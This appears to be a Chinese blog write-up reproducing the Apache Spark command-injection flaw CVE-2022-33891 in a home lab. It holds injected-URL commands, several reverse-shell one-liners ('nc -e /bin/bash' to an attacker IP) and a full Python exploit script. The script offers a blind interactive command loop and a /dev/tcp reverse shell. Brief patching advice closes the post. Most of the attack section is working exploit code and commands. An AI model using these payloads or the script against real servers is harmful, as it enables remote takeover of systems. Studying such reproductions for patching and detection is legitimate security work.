0
点赞
收藏
分享

微信扫一扫

[ 漏洞复现篇 ] Apache Spark 命令注入(CVE-2022-33891)

文章目录

一、漏洞编号

CVE-2022-33891

二、影响版本

Apache spark version<=3.0.3
3.1.1=<Apache spark 版本<=3.1.2
Apache Spark version>= 3.3.0

三、环境搭建

下载编译包3.0.3版本

下载spark3.0.3编译包:

https://archive.apache.org/dist/spark/spark-3.0.3/spark-3.0.3-bin-hadoop3.2.tgz

linux直接用wget下载

wget https://archive.apache.org/dist/spark/spark-3.0.3/spark-3.0.3-bin-hadoop3.2.tgz

在这里插入图片描述
在这里插入图片描述

解压编译包:

下载编译包之后,解压编译包

tar -zxvf spark-3.0.3-bin-hadoop3.2.tgz

在这里插入图片描述

名字太长了,给他改个名字,就用mv命令改吧

mv spark-3.0.3-bin-hadoop3.2 spark-local

在这里插入图片描述

切换到解压包目录下
cd spark-local
在这里插入图片描述

执行:

启动 Apache spark 项目(需要开启spark.acls.enable)

./bin/spark-shell --conf spark.acls.enable=true

在这里插入图片描述

打开连接即可

启动服务后,会有web页面的地址,打开即可,可看上面的那张图片

http:ip:4040

在这里插入图片描述

四、代码注入漏洞复现:

复现步骤

在url后拼接如下命令即可

 ?doAs=`要执行的命令`

执行whoami

http://192.168.13.133:4040/jobs/?doAs=`whoami`

发现页面无回显,无法验证漏洞的存在,尝试创建文件来进行验证
在这里插入图片描述

创建txt文件

http://192.168.13.131:4040/jobs/?doAs=`touch%20/a.txt`

页面依然没有回显。
在这里插入图片描述

去后台查看,发现a.txt已经被创建,发现代码被成功执行,也就是说存在该漏洞。
验证了漏洞存在,我们尝试getshell

在这里插入图片描述

五、Getshell

把命令换位反弹shell命令就ok了

反弹一

nc(windows)与nc(靶机kali)的方向连接反弹shell

环境

我用本机windows攻击机攻击靶机kali
靶机kali的ip:192.168.13.131
在这里插入图片描述

Windows攻击机的ip:192.168.13.1
在这里插入图片描述

攻击机关闭防火墙
在这里插入图片描述

攻击机监听

./nc.exe -lvvp 55555

在这里插入图片描述

靶机上连接

连接命令

nc -e /bin/bash 192.168.13.1 55555

代码注入到url中进行访问

http://192.168.13.131:4040/jobs/?doAs=`nc -e /bin/bash 192.168.13.1 55555`

访问该链接,页面无回显,但是靶机已经在连接我们的攻击机了

在这里插入图片描述

反弹shell成功

查看攻击机变化,发现已经连接成功了,但是没有获取到计算机名
刚开始看到下面这个界面我还以为shell没有反弹过来,所以有了反弹二
在这里插入图片描述
在这里插入图片描述

执行ifconfig,发现正是靶机kali的ip

反弹二:

同样采用反向反向

环境

这里我把攻击机换成了同网段的另一台虚拟机centos7
靶机kali的ip:192.168.13.131
在这里插入图片描述

攻击机centos的ip:192.168.13.133
在这里插入图片描述

攻击机centos7关闭防火墙
查看防火墙状态,发现状态是“active(running)”是开启的。

systemctl status firewalld.service

在这里插入图片描述

在命令行中输入以下命令,进行关闭防火墙

systemctl stop firewalld.service。

我的centos7安装了图形化界面,需要身份认证才能完成操作
命令行界面我不太清楚要不要身份认证
在这里插入图片描述

然后再使用命令查看状态

systemctl status firewalld.service

状态为disavtive(dead)就说明防火墙已经关闭。

在这里插入图片描述

攻击机监听

nc -lvvp 44444

在这里插入图片描述

靶机连接

连接命令

nc -e /bin/bash 192.168.13.1 44444

代码注入到url中进行访问

http://192.168.13.131:4040/jobs/?doAs=`nc -e /bin/bash 192.168.13.1 44444`

访问该链接,页面无回显,但是靶机已经在连接我们的攻击机了

在这里插入图片描述

反弹shell成功

执行ifconfig,发现正是靶机kali的shell

在这里插入图片描述

在这里插入图片描述

六、使用POC复现

前面我们是使用手工进行复现,但是这个漏洞的POC是已经公开的,我们采用POC进行复现

环境

我的靶机换成了centos7,攻击机换成了kali
攻击机:kali:192.168.13.131
靶机:centos:192.168.13.133

利用POC手工Getshell

攻击机监听

nc lvvp 55555

在这里插入图片描述

靶机连接
使用POC验证是否存在漏洞(如下表示存在该漏洞)

python3 CVE-2022-33891POC.py -u http://192.168.13.133 -p 4040  

在这里插入图片描述

手工输入反弹shell命令

nc -e /bin/bash 192.168.13.131 55555 

在这里插入图片描述
攻击机getshell
在这里插入图片描述

执行ifconfig发现正是靶机centos的shell
在这里插入图片描述

利用POC自动Getshell

攻击机监听

nc -lvvp 22222

在这里插入图片描述

靶机连接

利用POC验证漏洞存在,并自动输入反弹shell命令

python3 CVE-2022-33891POC.py -u http://192.168.13.133 -p 4040 --revshell -lh 192.168.13.131 -lp 22222

在这里插入图片描述

利用POC手工进行反弹时这个位置是需要我们手工输入命令的
而利用POC自动输入命令,我们直接回车就好了
在这里插入图片描述
在这里插入图片描述

攻击机getshell

输入ifconfig发现正是靶机centos的shell
在这里插入图片描述

POC

#!/usr/bin/env python3
import requests
import argparse
import base64
import datetime
​
parser = argparse.ArgumentParser(description='CVE-2022-33891 Python POC Exploit Script')
parser.add_argument('-u', '--url', help='URL to exploit.', required=True)
parser.add_argument('-p', '--port', help='Exploit target\'s port.', required=True)
parser.add_argument('--revshell', default=False, action="store_true", help="Reverse Shell option.")
parser.add_argument('-lh', '--listeninghost', help='Your listening host IP address.')
parser.add_argument('-lp', '--listeningport', help='Your listening host port.')
parser.add_argument('--check', default=False, action="store_true", help="Checks if the target is exploitable with a sleep test")
​
args = parser.parse_args()
​
full_url = f"{args.url}:{args.port}"
​
​
def check_for_vuln(url):
  print("[*] Attempting to connect to site...")
  r = requests.get(f"{full_url}/?doAs='testing'", allow_redirects=False)
  if r.status_code != 403:
      print("[-] Does not look like an Apache Spark server.")
      quit(1)
  elif "org.apache.spark.ui" not in r.content.decode("utf-8"):
      print("[-] Does not look like an Apache Spark server.")
      quit(1)
  else:
      print("[*] Performing sleep test of 10 seconds...")
      t1 = datetime.datetime.now()
      run_cmd("sleep 10")
      t2 = datetime.datetime.now()
      delta = t2-t1
      if delta.seconds < 10:
          print("[-] Sleep was less than 10. This target is probably not vulnerable")
      else:
          print("[+] Sleep was 10 seconds! This target is probably vulnerable!")
      exit(0)
​
​
def cmd_prompt():
  # Provide user with cmd prompt on loop to run commands
  cmd = input("> ")
  return cmd
​
​
def base64_encode(cmd):
  message_bytes = cmd.encode('ascii')
  base64_bytes = base64.b64encode(message_bytes)
  base64_cmd = base64_bytes.decode('ascii')
  return base64_cmd
​
​
def run_cmd(cmd):
  try:
      # Execute given command from cmd prompt
      #print("[*] Command is: " + cmd)
      base64_cmd = base64_encode(cmd)
      #print("[*] Base64 command is: " + base64_cmd)
      exploit = f"/?doAs=`echo {base64_cmd} | base64 -d | bash`"
      exploit_req = f"{full_url}{exploit}"
      print("[*] Full exploit request is: " + exploit_req)
      requests.get(exploit_req, allow_redirects=False)
  except Exception as e:
      print(str(e))
​
​
def revshell(lhost, lport):
  print(f"[*] Reverse shell mode.\n[*] Set up your listener by entering the following:\n nc -nvlp {lport}")
  input("[!] When your listener is set up, press enter!")
  rev_shell_cmd = f"sh -i >& /dev/tcp/{lhost}/{lport} 0>&1"
  run_cmd(rev_shell_cmd)
​
def main():
​
  if args.check and args.revshell:
      print("[!] Please choose either revshell or check!")
      exit(1)
​
  elif args.check:
      check_for_vuln(full_url)
​
  # Revshell
  elif args.revshell:
      if not (args.listeninghost and args.listeningport):
          print("[x] You need a listeninghost and listening port!")
          exit(1)
      else:
          lhost = args.listeninghost
          lport = args.listeningport
          revshell(lhost, lport)
  else:
      # "Interactive" mode
      print("[*] \"Interactive\" mode!\n[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.")
      while True:
          command_to_run = cmd_prompt()
          run_cmd(command_to_run)
​
​
if __name__ == "__main__":
  main()

七、漏洞修复

1.建议升级到安全版本,参考官网链接:
https://spark.apache.org/downloads.html
2.安全设备路径添加黑名单或者增加WAF规则(临时方案)。

八、相关资源

CVE-2022-33891POC Apache Spark 命令注入(CVE-2022-33891)POC
原文下载

举报

相关推荐

0 条评论